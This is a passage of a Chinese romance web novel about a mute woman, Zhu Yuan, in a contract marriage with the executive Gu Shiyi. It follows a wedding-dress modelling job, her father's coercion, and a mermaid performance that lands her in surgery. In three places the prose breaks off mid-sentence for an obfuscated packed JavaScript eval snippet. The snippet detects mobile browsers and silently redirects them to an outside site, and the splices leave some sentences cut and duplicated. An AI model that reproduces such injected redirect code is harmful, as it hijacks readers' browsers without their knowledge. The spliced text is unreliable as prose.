他抬眼望去,少女的睫毛上还凝着泪珠,眼神却异常坚定,心头莫名一动,为他上药真的这么重要? 忽然,诸愿对着他的额头轻轻吹气,那小心翼翼的模样,分明是在哄哭闹的孩童。 顾识弈脸倏地一热,僵硬地别开脸:“可以了,谢谢。” 诸愿瞥见他侧身时泛红的耳尖,正想触碰,男人却忽然站起:“我叫静姨回来照顾你。” 眼见着人又要离开,诸愿心中一急,眼疾手快地抓住对方衣角,掏出手机将屏幕展示给他: 【那晚我不是故意砸伤您的,真的对不起!这支药膏是医生推荐的,可以促进伤口自然干燥结痂,您能不能原谅我? 还有,昨晚我也不是故意闯入您房间的,是我手绳掉了,不知道您有没有看见一条串着金色小铃铛的红色编绳,它对我很重要,如果看见了,可以给我吗?】 顾识弈逐字看完屏幕上的两大段文字,抬眼对上少女眸中那份毫无杂质的天真与执着,心底莫名泛起一阵说不清道不明的复杂。 —— 翌日清晨,诸愿如常醒来,趿拉着拖鞋走进卫浴间,伸手放在感应水龙头下的瞬间,手腕上一抹红影晃入眼帘,动作猛地顿住。 手绳什么时候回来的?! 她努力回想昨夜: 顾识弈带她去酒吧庆祝朋友周年庆,紧张的她被塞了杯冰橙汁,喝完后见服务员端着托盘路过,便拿了杯颜色相似的“橙汁”。 入口清甜的液体却没想到是烈酒,后劲极大,她甚至不记得自己是什么时候失去意识的。 奇怪的是,她竟没有宿醉的头疼,身上还换了柔软的真丝睡裙。 所以昨晚究竟发生了什么? 诸愿抬起手晃了晃,铃铛随着动作铃铃啷啷作响。 它又是怎么回到手腕上的? 忽然想起什么,她哒哒跑向梳妆台拉开抽屉。还好,在商圈买的避孕套还在。 不然她几乎要以为,手绳从未丢失,前两天的记忆也只是一场梦。 就在她准备合上抽屉时,突然一愣。 和避孕套一起放的药膏呢? “铃铃——”电话声打断了思索。 诸愿看见来电显示,按了接听,听筒里立即响起发小苏沐的声音:“速来见面!我有惊天大喜事要宣布!” 指尖在屏幕上轻叩两下,对面默契回应:“地址发你。”通话利落挂断。 诸愿想着出门要换衣,等洗漱出来,早忘了抽屉里消失的药膏。 深夏的薄纱裙透出她白皙的肌肤,略施粉黛便已动人。下楼时正撞见静姨端着果盘从厨房出来。 “太太今儿想吃什么?” 自从上次她用便签委婉提过早上起不来后,静姨便不再催她晨起,却总变着法儿惦记她的胃。 诸愿摆了摆手,打字告诉对方她约了朋友,中午不回来吃饭。静姨又问要不要安排司机,她再次摇头。 顾家的车起步就是卡宴,太扎眼。苏沐虽知她家有钱,却也清楚不是能开得起这种豪车的阶层。 打车到苏沐发来的地址,商圈呈H型,左栋是餐饮,右栋是购物,中间靠廊桥连着。 在日料店榻榻米坐定,她比划手语:〈你的喜事不会是暴富吧?竟然请我在这里吃怀石料理。〉 苏沐撩了把长发,耳后的人工耳蜗露出了一角,自豪道:“我升职了。” 诸愿愣了瞬,随即惊喜地鼓起掌:〈好棒!〉 “所以想吃什么随便点,姐现在也是拿总监薪资的人了!”苏沐扬了扬下巴。 诸愿不客气地比了个“OK”手势。 忽然,苏沐压低声音问:“你哥还是不让你出去工作一直待在家里吗?” 茶杯在唇边顿住。苏沐并不知道她家濒临破产的事,她也就没说自己被逼迫着结婚,反正一年后也要和顾识弈离婚的,不是喜事,也不想让人担心。 再抬眼时,诸愿脸上已恢复平静,轻轻点了点头。 哥哥虽已管不了她,可如今在顾家,又何尝不是另一种束缚。 她举起茶杯转移话题:〈这麦茶不错,你尝尝。〉 苏沐看了她一眼,“嗐”了声:“不工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16620605|187864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作也挺好的,直接躺平,我还羡慕呢。” 饭后,苏沐拉着她往廊桥走:“我明天上任,得挑两件撑的起‘钮祜禄·沐’气场的衣服,你帮我掌掌眼。” 两小时后,两人拎着购物袋出店,忽然,苏沐拽着她站定在对面的橱窗前:“诸愿,你看这件。” 玻璃柜里的婚纱像被月光施了魔法,一字肩设计露出模特精致锁骨,裙摆层层叠叠如云海翻涌,每道褶皱都绣着碎钻,在水晶灯下流转着银河般的光芒。 “你穿上肯定好看!走,进去试试。”苏沐不由分说地推她进店。 刚表明来意,接待的服务员便笑着解释:“抱歉小姐,这件是品牌高定孤品,每处刺绣都由意大利工坊的老匠人手工完成,全球仅此一件,试穿需要提前预约并通过定制流程哈。” 两人对视一眼,都从对方眼中看出震惊与退意。正转身,一道磁性的中英混声传来:“两位小姐请留步,想试穿‘月之光’吗?” 回头望去,说话的是位棕发外国青年男人。他目光落在诸愿身上,脸上的笑意里藏着几分惊艳。 “恕我冒昧,方才留意到小姐的身形比例堪称完美,若肯做我的临时模特,不仅能免费试穿,还能拿到这个数的报酬。” 他比出的数字让苏沐倒吸一口凉气,拉着诸愿退到一旁:“你不是一直想工作吗?这机会送上门了啊。” 诸愿还在犹豫,已被苏沐推进试衣间:“快去!这可是老天爷追着给你喂饭吃呢!” 苏沐转身往等待沙发区走,隔壁忽然传来对话声: “顾…顾总!您怎么亲自来了?是送上门的款式不喜欢,还是哪里有问题?” “唐经理别紧张,是顾总紧急需要参宴,正好路过就进来了,您按顾总上次留的尺寸拿几款出来吧。” “好的好的,马上。” 苏沐八卦地挪过去,只见前方男人站在中间,神情冷漠,身后跟着一群人,递衣的、端配饰盒的,阵仗堪比伺候皇家。 她见过最有钱的就是诸愿和自家老板,却也没这派头,不由得咋舌。 有钱人的世界,果然超乎想象。 更让人嫉妒的是这男人的脸,又帅又矜贵,简直是上帝的宠儿。 这时,被簇拥的男人终于开了口,声音低沉:“就这件吧。” 苏沐见人往试衣间来,赶紧坐回原位,等人进了更衣室,她收回的目光正好和男人的助手对上,对方目光温和却不失锐利,苏沐被吓了一跳,连忙低头玩手机,一边等着诸愿出来。 试衣间里,诸愿在工作人员帮助下穿上婚纱,刚站稳就听见一声低呼:“天呐,这简直是为您量身定做的!难怪弗朗切斯科先生总说之前的模特撑不起它,原来在等您这样真正的主人。” 对方的语气太过真诚,诸愿不由得红了脸,忍不住也想看看镜中的自己。 门帘拉开的刹那,隔壁更衣室的门帘恰好也滑开—— 男人身着墨色西装,宽肩窄腰,身形颀长,指尖正漫不经心地夹着领带。 诸愿下意识抬头,和顾识弈四目相对的刹那,似有电流在空中滋滋作响,连空气都染上了几分发烫的震颤。 5. 第5章 顾识弈目光落在诸愿身上。 一字肩设计露出诸愿天鹅般的颈线,上半身收束利落,贴出玲珑曲线,蓬松裙摆缀满碎钻,在灯光下闪着莹润光泽。 少女本就五官精致,白皙透红的肌肤更显清透,宛如误入人间的月光精灵,优雅中透着灵动。 他眼神向来冷得像冰,这会看她时,眼尾像是化了点冰,漾开些看不清的东西,那里面清清楚楚映着她穿婚纱的样子。 诸愿被这样的目光看着,心尖不由一紧,垂在身侧的手指也不自觉攥紧,指尖泛白。 顾识弈怎么会在这? 忽然,身旁响起苏沐惊叹的声音:“诸愿,你这也太好看了吧!简直像从童话里走出来的!” 她被这声喊得一激灵,这才想起身边还有苏沐。 光是撞见顾识弈就够让她手足无措了,要是被苏沐知道她结了婚,眼前这男人还是她丈夫,今天怕是要沦为最“鞭打日”了。 诸愿偷觑了眼顾识弈。 他向来疏离寡言,从不会主动与人攀谈,眼下只要她沉住气不打招呼,他总不会主动过来吧? 目光扫过顾识弈身侧,不料撞上林秘书的视线。对方嘴唇动了动,诸愿心脏几乎要跳出嗓子眼,在心底疯狂默念:别说话!千万别喊出“太太”这两个字! 可林秘书显然没领会她眼神里的急切暗示。 “太……” “这条领带不合适,”林秘书的声音刚起,就被一道低沉的嗓音打断,“林正,去换一条。” 男人的声音不高,听着却不容置疑。 林秘书愣了瞬,视线在两人间飞快转了圈,连忙应道:“是,顾总。”转身匆匆离开。 诸愿紧绷的肩膀一下子松下来,再看顾识弈时,他已转过头对着镜子整理衣襟,侧脸线条凌厉,仿佛刚才那声打断是真心实意,两人之间毫无关联。 他是看出来自己不想让人知道,特意帮着遮掩? 正思忖着,弗朗切斯科先生快步走过来,一见她就夸张地张开双臂:“天哪!您简直是为这条婚纱而生的!美得让人移不开眼!” 弗朗切斯科夸完才注意到顾识弈,本来想问他怎么来了,话到嘴边又咽了回去。 和林正一样,他的视线也在诸愿和顾识之间来回转了一圈,却是直白地说:“顾总,您这一身实在太配旁边这位美丽的小姐了。中国有句老话叫什么来着?噢!‘俊男靓女,天生一对’!” 又转回头看诸愿,笑着打趣:“顾总觉得呢?” 顾识弈回头,目光在少女脸上停了两秒,语气听不出情绪,却让诸愿心里发紧:“确实。不知能否有幸,认识一下这位小姐?” 诸愿心跳骤然漏跳半拍,指尖微微发颤。 他这是……故意的?正不知道该怎么接话,林秘书拿着新领带回来了。 顾识弈接过领带,微微颔首:“失陪。”便转身走了,好似刚才那句“认识一下”只是戏言。 “诸愿?诸愿!发什么呆呢?”苏沐伸手在她眼前晃了晃,“我就去接个电话的功夫,你怎么魂都飞了?” 她回头看向苏沐,不想让对方担心,勉强牵起嘴角摇了摇头。 诸愿不是专业模特,这场拍摄进行了快五个小时才收工。 弗朗切斯科先生看着成片,却竖起两个大拇指朗声赞叹:“我的眼光果然没错,诸小姐您实在是太棒了!” 诸愿却有些担心是安慰话,刚比划完手语,旁边充作“翻译”的苏沐就先道:“拍摄三要素是什么?人长得好看,人长得好看,人长得好看!” 她拍了拍自己的胸脯:“放心吧,我刚才帮你看过了,特漂亮,原图直出都能封神。” 弗朗切斯科先生在旁赞同:“您的朋友说得对。” 诸愿这才放心地笑了。 苏沐离开去帮她拿衣服,弗朗切斯科先生在旁忽然问:“诸小姐认识顾总?” 诸愿脸色一滞,弗朗切斯科看见她的表情,了然地笑了:“想问我为什么这么问?” 他笑得像只狡黠的狐狸:“我认识顾总这么多年,他从来没搭理过我对他的打趣,而诸小姐,是第一个。” 她一怔,与弗朗切斯科先生料想的暧昧不同,她脑子里只有一个念头:所以顾识弈说“认识一下”真的是故意的?根本不是为了回应弗朗切斯科的话随口一说? 是因为她不打招呼所以生气了? 那她回去该怎么办?! 同一屋檐下,同一张餐桌,怎么样都会碰面,到时候他会不会问起来?她又该如何回答? 一连串问题挤在诸愿脑子里,简直要爆炸。 特别是昨天顾识弈还带她去参加了朋友的周年庆,今天她和朋友一起偶遇上他,却连招呼都不打。 对比之下,她真是太坏了! 可脑子里另一个声音又告诉她,两个人本来就是协议结婚,各取所需,不要求演的情况下,在各自领域就该保持距离。 毕竟她是真的不想让人知道,自己是被胁迫着结婚的。 无数念头在脑海里盘旋纠结,直到苏沐跟她在商场门前挥手告别:“诸愿,这商场地下室有口,我直接坐地铁回去啦。” 她回过神,点了点头,要转一半报酬给苏沐,后者一把按住她:“你忘了我升职了已经不缺钱了吗?” 诸愿明白她的意思,比划手语:“那今天谢谢你陪我。” 苏沐朝她Wink了一下:“小事,走啦~” 诸愿被她逗笑了,挥挥手。 等苏沐走后,她背过身叹了口气。 回去之后该怎么办啊! “铃铃——”手机突然响了,她下意识以为是苏沐折返,回头却没看见人。 她低头看手机,看清来电显示后,赶紧把屏幕按在怀里,不动声色地看了看左右,确认没可疑人员后,才快步走到角落。 此时铃声已经停了,她没太在意,过了一会,收到新短信,来自一串陌生数字:【三十分钟到医院。】 握着手机的手紧了紧,诸愿直接退出打开打车软件,输入:仁爱医院。 到了医院,她直奔住院部6楼,远远就看见606室门口站着两名高大的保镖。 心里那点急火瞬间压了下去。 她慢慢走过去,调整着呼吸,走到保镖面前时,脸上已经没什么表情了。 保镖替她推开病房门。 病床上躺着个面容俊朗的年轻男人,脸色却苍白得像纸,看着没什么生气。对面沙发上坐着一名中年男人,手里正削着苹果。 诸愿没多看病床上的人,目光落在诸世青身上。 “来了。”诸世青举着手里坑坑洼洼的苹果,语气带着几分刻意的漫不经心,“你看这苹果被我削的,真丑。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16620606|187864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他继续削着没削完的皮:“我记得有一次我心梗住院,你哥给我削了个溜光水滑的苹果,我当时特别激动,真以为他转性了孝敬我,但你知道他跟我说什么吗?” 诸愿没说话,静静注视着那颗苹果。诸世青显然习惯了她的沉默,自顾自说下去:“他说求我。” 男人讥笑一声:“当时觉得你一个哑巴还读什么书,放家里能活着就不错了,可是你哥不,坐在病床边给我削苹果,求我高价请有名的手语老师来教你。” 苹果终于削好了,诸世青用刀用力叉进苹果肉里,举了起来:“你看你哥对你多好,明明恨我恨得要死,却能伏小做低,耐着性子给我削出那么光滑的苹果。” “啧啧。” 他抬眼看向诸愿,盯着人看时眼睛有点吓人,“阿愿该懂知恩图报吧?你哥能为你忍,你为了你哥,也该把你爸的家业撑起来,对吧?” 这样的话诸世青说过无数遍,诸愿早已麻木,木然地点了点头。 “这才乖。”诸世青笑了,“我会让人照顾好你哥的。” 他挥挥手:“行了,让陈秘书送你。接下来我会很忙,就由他跟你对接,希望在我回来之前,你们已经成功了。” 诸愿转身走出病房,陈秘书已经等在门口,恭敬喊道:“大小姐,这是您的药。” 她神色一凝,盯着递过来的药包。 陈秘书露出玩味的笑:“是诸董让医生开的,说是助孕的调理药。” “助孕”两个字念得格外重。 诸愿眼睛睁大。 她知道诸世青无耻,却没料到他能无耻到这份上。 手迟迟没伸出去,陈秘书又喊了一声:“大小姐。” 她忍着恶心,慢慢接过来,转身快步离开,陈秘书却跟在后面。 她想起诸世青说过让他送,也就没在意。直到走出医院,刚想拦车,陈秘书却叫住她:“大小姐等一等。” 诸愿耐着性子站着,可对方就说了这么一句便没了下文,就在她即将发作,陈秘书才慢悠悠道:“好了。” “请大小姐跟姑爷一起回去吧。” 姑……姑爷?那不就是顾识弈? 诸愿还没理解什么叫“一起回去”,下一秒就懂了。 只见医院大门处走出一道身影——顾识弈穿着下午那件墨色西装,举着手机贴在耳边,深邃的目光穿透人群,精准地落在她身上。 诸愿脚像钉在地上,动也不敢动。 她总算明白诸世青突然叫她来医院是为什么了。 除了敲打、送药,恐怕就是得知了顾识弈的行踪,特意让他们“偶遇”,好窥探他们的相处模式。 好巧不巧,她下午才为了在苏沐面前掩饰关系,装不认识他。而从他那句“认识一下”来看,明显是生气了。 诸世青要她冒着被轰炮的可能,主动去找顾识弈,还要让他载自己回顾家,这怎么可能! 她不想做,可陈秘书就在身边,两眼直直盯着她:“大小姐怎么好像和姑爷不熟的样子?你们真的有……” 未尽的话不言而喻。 诸愿想起上次为了让跟踪的人误以为她和顾识弈关系亲密、故意去买避孕套的事。 如果被诸世青知道她是骗人的,后果不堪设想。 她咽了口唾沫,只能硬着头皮往前挪了一步,慢慢吞吞地朝顾识弈走去。 6. 第6章 诸愿还没走到顾识弈跟前,就见他眉心紧蹙,周身低气压几乎凝成实质。 她心里咯噔一下,下意识就想往后退,可没等她退半步,顾识弈已经利落地挂断电话,漆黑的眸子牢牢锁住她。 诸愿咬咬牙,顶着那道视线继续往前走,站定在他面前时,手脚像不是自己的,怎么放都觉得别扭。 正搜肠刮肚想找个不那么难堪的求法,一辆线条流畅的曜石黑宾利已经无声滑到两人身边。 车窗降下,副驾上的林秘书先恭谨地唤了声“顾总”,视线移到诸愿时,明显顿了顿,随即想起下午在商场的插曲,不确定要不要喊“太太”。 诸愿原本就够窘迫了,现在多了个“观众”,更觉浑身不自在。 可背后陈秘书那道探究的视线像束强光,照得她脊背发僵。没办法,她只好掏出手机快速打字,递到顾识弈面前:【顾总,能不能麻烦您载我一段?就一小段路,谢谢您。】 男人薄唇抿成冷硬的直线:“现在不怕被人看见了?” 诸愿指尖猛地收紧——他果然记恨着下午她假装不认识他的事。 她咬紧下唇,双手合十,用口型无声地说了句:拜托。 顾识弈看了她一眼,眸色沉沉看不清情绪,转身就往车门走。 诸愿望着他挺拔却冷漠的背影,心里那点微弱的火苗“滋啦”一声彻底灭了,连带着四肢都泛起凉意。 也是,是她先划清界限的,凭什么要求他迁就? 可心口像是被什么东西堵着,闷得发慌。 或许是怕陈秘书回去汇报,让诸世青知道她被顾识弈拒之门外,少不了又是一顿火;或许是今天五个小时的拍摄,刚结束就被匆匆叫到医院挨训,累得骨头缝都在疼;又或许是刚才见到哥哥,他的脸色比上次见面时又差了几分……眼眶忽然就热了,水汽在里面轻轻晃着,要落不落。 “不是要一起走?” 平淡的声音自身后响起,诸愿猛地回头。 顾识弈正站在车门边侧头看她,目光在她微红的眼眶上顿了半秒,吐出两个字:“上车。” 她生怕他下一秒就变卦,胡乱抹掉眼角的湿意就快步跑过去,手还没碰到车把手,顾识弈已经先一步替她拉开了后座车门。 远处的陈秘书听不清声音,只瞧到这一幕,先前“大小姐和姑爷关系不和”的猜测顿时烟消云散。 他刚要转身离开,一道淬了冰似的视线突然射来,让他瞬间僵在原地,冷汗顺着背脊往下淌——是顾识弈。 这位顾氏继承人的性子是出了名的凉薄,今天顾老爷子生辰宴,就因几句不中听的话当场冷脸,愣是把老爷子气进了医院,好好的寿宴差点成了忌日。 他慌忙低下头,连大气都不敢喘,等了足有半分钟才敢偷偷抬头,路边早已没了车和人的影子。 车里一片静谧,窗外流光溢彩的灯火透进来,在顾识弈轮廓分明的脸上明明灭灭。 他忽然开口:“怎么回事?” 诸愿还在琢磨刚才有没有在陈秘书面前蒙混过关,闻言身子一僵,赶紧低头打字解释: 【对不起,下午是意外,我朋友不知道我结婚了,我不想露馅才装不认识您的,下次一定跟您打招呼!】 手机刚递出去,就听见他又问:“来医院做什么?不舒服?” 诸愿愣住,惊讶地抬头看他。 他问的居然是这个? 她手忙脚乱想把手机抢回来,可顾识弈已经接了过去。 男人快速扫完屏幕上的字,把手机还给她时没作声,车厢里的沉默徒然变得有些微妙。 诸愿捏着手机,有点懊恼自己会错了意。等她重新打字说明是来看哥哥,身旁的人也只淡淡“嗯”了一声。 后座又恢复了安静,只剩窗外掠过的光影,在两人之间无声流淌。 临睡前,手机屏幕突然亮起,弗朗切斯科的私信跳了出来:【诸小姐,我这里有一份新兼职,工作内容有些特殊,不知道您愿不愿意接?薪酬优渥。】 诸愿眼睛一亮,飞快回复:【您说。】 下午临走前,她给弗朗切斯科发了自己的简历,希望有无需发声的工作可以找她,没想到这么快就有回应。只要不违背原则,再特殊她都想试试。 【我翻了您的简历,您做过美人鱼表演?】 诸愿指尖一顿,简历上确实写着三个月美人鱼表演经历,还有相关教练证。 【是这样,我朋友新开了家美人鱼主题海底餐厅,他眼光挑剔,觉得来面试的人都不够出彩。今晚我发了您的模特照,他立刻说想请您。 儿童节那晚有场重要表演,很多客人特意来看……】 诸愿捏紧手机,硬壳硌得掌心生疼。美人鱼表演……她犹豫了。 对方似乎看穿了她的迟疑,发来新消息:【其实在向您发起邀请时我也在犹豫,知道您的身份或许不屑于此。但如果有意向,请务必明天中午前联系我,祝您好梦,诸小姐。】 弗朗切斯科先生给了她台阶下,诸愿心里很感动,但她犹豫的不是身份,而是哥哥。 她从有记忆开始就不会说话,虽然家里当时还富有,但也想靠自己找到人生价值。 在机缘巧合下做了“美人鱼”,哥哥起初是纵容的,说开心就好,可后来却出了意外。 那次她本在休假期,同事家里奔丧请假,偏巧赶上儿童节客流高峰,老板非让她顶上。 女生每月那几天本就不便,她听了同事的话去买药推迟,结果副作用加上长时间泡在水里,她在泳池里疼得几乎晕厥,老板却为了不影响客人,硬要她自己游上岸。 直到最后出事被救生员抬了上来,等她醒来时,哥哥坐在病床边,眼底全是红血丝,当场勒令她再也不许碰这份工作。 她不会说话,能选的工作本就不多,哥哥严格把控之后,渐渐地她就变成了一直待业在家。 可现在,弗朗切斯科的邀请像颗种子,在心里悄悄发了芽。 她太需要这笔兼职费了。 第二天一早,诸愿咬着牙回复:【我愿意。】 【太好了,诸小姐。】弗朗切斯科先生很快回复,【对了,下季度新品上架,我已经预定了您当模特,期待我们的合作。】 到了表演日,诸愿早早出门去兼职的地点。那是个高级西餐厅,餐桌围绕着巨型圆柱水池摆放,客人能边用餐边看美人鱼表演,吸引了许多人来这吃饭打卡。 餐厅里,兰若清手肘撑在桌上托着下巴,眼波流转:“我真的没机会了吗?” “正远的合作随时向兰经理敞开。”顾识弈切下一块牛排,语气平淡得像在谈论天气,瞬间戳破了她刻意营造的暧昧氛围。 兰若清却没生气,她放下手,用银叉搅着面前的沙拉,笑着说:“你还是这么不解风情。” 顾识弈没接话,显然不想再继续这个话题。她自觉没意思,切入正题:“如果我们答应合作,你需要兰家做什么?” 顾识弈放下刀叉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16620607|187864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,餐巾擦了擦嘴角:“我不希望听到我们的不实言论。” 这次见面是顾老爷子安排的,他一直希望兰若清能入顾家,兰家自然也想攀上顾家这颗大树,所以外面传两人“门当户对、天生一对”的谣言,少不了兰家在背后推波助澜。 何况兰若清自己也喜欢顾识弈。 只是现在不让兰家传播,等于放弃进顾家,并与顾老爷子为敌。 这是要她们兰家站队? 关乎家族前途,就算是她也不敢轻易承诺。 兰若清挑眉:“我以为你会懒得管这些。” “我不是傻子。”顾识弈端起白水抿了一口,“稳定的婚姻状态能为形象加分,只有愚人才会任由人编排。” “你真利己。”兰若清嗤笑,却也不得不承认他说得对。 “我认为这样对兰经理最好。”他目光平静无波,“我已婚,你和我绑在一起,受损的是你的名声。” 兰若清被噎了一下,心里那点不甘心竟真的淡了些。她瞥向圆柱水池,里面的美人鱼正缓缓摆尾,姿态优美得让人移不开眼。 “那个美人鱼好漂亮。”她下意识说。 顾识弈顺着她的视线望去,少女转身的瞬间,他捕捉到那抹雪白侧脸。 是诸愿。 他的眉峰几不可察地蹙起。 只见水池里,少女虽然游得轻松,手指却时不时蜷缩。 这段时间的相处,他早已摸清她的习惯,这是紧张或不适的信号,绝不是表演动作。 没等兰若清反应,顾识弈已经起身离开,喊都来不及。 员工通道有人把守,顾识弈递出名片:“我找你们经理。”话落,旁边走来弗朗切斯科。 “顾总?您怎么在这?”对方惊讶过后,立即笑着夸赞,“诸小姐的表演实在太精彩了,观众席都在夸……” “带我去找她。”顾识弈打断他,语气里的紧绷不容忽视。 弗朗切斯科意识到不对劲,没有多问,直接带着人就往下水池的楼梯走。 推开后台门的瞬间,两人都愣住了。 诸愿穿着美人鱼尾服已经上岸,却躺在地上,湿漉漉的头发贴在苍白的脸颊上,像一朵被雨打焉的茉莉花。 一个女工作人员正慌乱地摇晃她:“诸小姐你怎么了?醒醒啊!” “她不会说话怎么回应你!”弗朗切斯科急得跺脚,“还不快叫救护车!” 顾识弈没说话,脱下西装外套裹住诸愿,弯腰将她打横抱起。 他的动作稳而快,吩咐时气场强大:“来不及等救护车了。弗朗切斯科,打给我的秘书,让他把车开到员工通道后门,现在带路。” 诸愿闻到盖在身上的外套的松木香,迷迷糊糊地睁开眼,正巧撞进顾识弈深黑的瞳孔里。她气若游丝地扫过周围——这是海底餐厅的后台,他怎么会在这里? 刚想挣扎着下来,心脏处一阵剧烈的绞痛突然袭来,疼得她眼前发黑。 下意识的,她胡乱抓住了什么,掌心触到的是手臂上紧实的肌肉。 意识到自己抓的是顾识弈,她立即想松开,可更汹涌的疼痛翻涌而上,她像抓住救命稻草般攥紧了,把脸埋进他怀里,试图抵挡那几乎将人撕裂的痛感。 “可以咬。”男人的声音在头顶响起,带着十足的肯定。 剧痛让她失去了思考能力,循着声音就咬了下去。尝到血腥味的瞬间,混沌的脑子突然清明。 完了,她又伤到顾识弈了。 7. 第7章 医院的走廊,弥漫着一股浓重的消毒水味,纯白的墙壁在顶灯照射下泛着冷光。 诸愿躺在移动病床上,脸色比身下的床单还要白上几分,被医护人员推着消失在厚重的蓝色门里。 大门缓缓合上的刹那,上方“手术中”的红灯骤然亮起,在惨白的背景里格外刺目。 弗朗切斯科瘫坐在等候椅上,后背早已被冷汗浸透。他抬手抹了把额角的湿意,余光里忽然撞进一道颀长的身影。 顾识弈还站在原地。 他那件高定衬衫此刻皱得不成样子,水渍混着不明的湿痕紧紧贴在身上,勾勒出流畅优越的身形线条。 奈何浑身透着一股生人勿近的冷意。 最醒目的是他小臂上那道牙印,似是反复啃咬,皮肉翻卷着,血珠正顺着肌理缓慢渗出,蜿蜒成细小的红线,一路往下淌。 “顾总,”弗朗切斯科咽了口唾沫,声音有些发紧,“我让人备套干净的衣服,送您去附近的酒店处理伤口吧?” 他心里其实打鼓,毕竟是他请诸愿来做水下表演,现在诸愿咬了顾识弈,他难辞其咎,更怕这位向来冷硬的男人会迁怒于少女。 顾识弈垂眸扫了眼臂上的伤,睫毛在眼下投出片阴影,声音低得像磨过砂纸:“不用。” 弗朗切斯科还想再说些什么,手术室的门突然“咔哒”一声开了道缝。 穿绿大褂的女护士快步走出,眉头拧成疙瘩,扬声喊道:“诸愿的家属在哪?病人急需手术,要签风险通知书!” 弗朗切斯科瞬间懵了。 他们谁都不是诸愿的家属,这字怎么签? 他正慌得琢磨是先联系诸愿家人,还是试着问能不能代签,就见方才还稳立不动的顾识弈猛地跨步上前 “我是她丈夫,”他的声音穿透在走廊里,掷地有声,“我妻子情况如何?需要做什么手术?” 弗朗切斯科惊得差点从椅子上弹起来。 妻……妻子?!!! 他虽看出顾识弈对诸愿不一般,却始终摸不清底细。 最大的猜测不过是前女友或包养关系。毕竟顾识弈是能让花城经济抖三抖的人物,而诸愿却要为兼职费在水里泡上好几个小时。 可万万没想到,两人竟是夫妻! “丈夫?”护士上下打量了顾识弈一眼,突然拔高了音量,语气里的怒气几乎要溢出来: “就诊记录写着,三年前她做过心脏手术,反复叮嘱过不能长时间下水!你当丈夫的怎么回事?居然还让她干这种需要长期泡水的活?现在出事了才着急?最烦你们这种把医嘱当耳旁风的!” 弗朗切斯科听得心都提到了嗓子眼,暗暗替护士捏了把汗。 他太清楚顾识弈的性子,这人平日里只有他训斥别人的份,别说得罪,敢给他甩脸色的,下场都不会好看。 何况护士这话里藏着的指责,几乎是明晃晃地骂人。 可顾识弈只是握着笔的手紧了紧,签完字后,抬头时的语气竟平和得反常:“谢谢您提醒,今后我们一定注意。麻烦医生全力救治,用最好的方案和药,费用不是问题。” 护士显然也愣了下,看他的眼神多了几分诧异。 “不严重的话就只是个微创小手术,别太担心。”大概是为方才的斥责弥补,护士多嘴了一句,转身进了手术室。 走廊里重新安静下来,只剩下墙上时钟滴答作响,敲在人心上。 弗朗切斯科松了口气,却又觉得尬尴。作为“害”得人家妻子进手术室的罪魁祸首,他理应跟顾识弈道个歉。 他清了清嗓子,小心翼翼地开口:“顾总,对不起,我不知道诸小……呃,顾太太身体不能下水,就贸然请她……” “如果是这件事,”顾识弈打断他,声音淡淡,“等她醒了你亲自跟她说。” 弗朗切斯科愣住了。 他做好了被冷斥的准备,甚至想好了保证以后绝不再找诸愿工作,却没料到会是这样一句平淡的回应。 “您……不怪我?”他迟疑着追问,“或者说,您还愿意让诸愿出来工作?” 顾识弈终于抬眸看他,“弗朗切斯科先生怕是搞错了。您该问的不是我愿不愿意,而是她想不想。” 弗朗切斯科心底一震。 原来如此。 不是“允许”,而是“尊重”。 他见过太多把妻子困在名为“爱”的金丝笼里的男人,美名其曰“担心你受累”,实则是想掌控对方的一切。 像顾识弈这样,把选择权彻底交到伴侣手里的,他还是头一次见。 “但安全措施的问题,我倒想问问弗朗切斯科。”顾识弈话锋一转,目光骤然变得锐利:“偌大的餐厅后台,为什么只有一个工作人员?如果表演者出事,谁来救?又谁来负责?” 弗朗切斯科被这眼神看得脊背发凉。 这才是他认识的顾识弈,说一不二、眼底容不下沙子。方才对护士的平和,恐怕是因为对方提到了诸愿的病情,但凡换成别人,就是另外一番情景了。 —— 诸愿睁开眼时,入目是一片晃眼的白,她眨了眨眼,侧头看,病房里空无一人。 床头的桌子上放着一篮新鲜水果,清甜的香气漫过来,引得肚子“咕噜噜”叫了起来。 她撑着床垫坐起身,身上的被子滑落,才发现自己穿的是蓝白条纹病号服。 张望一圈,空间宽敞,摆着沙发,甚至还配着阳台,她应该在医院病房里。 诸愿想下床,动作幅度稍大,左胸口立即传来一阵锐痛,她闷哼一声。 望向门口没人进来,她慢慢解开衣襟上的纽扣,看见缠着的白色绷带,才后知后觉,自己这是做了手术。 她记得最后一次下水美人鱼表演时,心脏突然传来一阵若有似无的痛。 一开始她没在意,以为是气压问题,想着只剩最后几分钟就能结束。 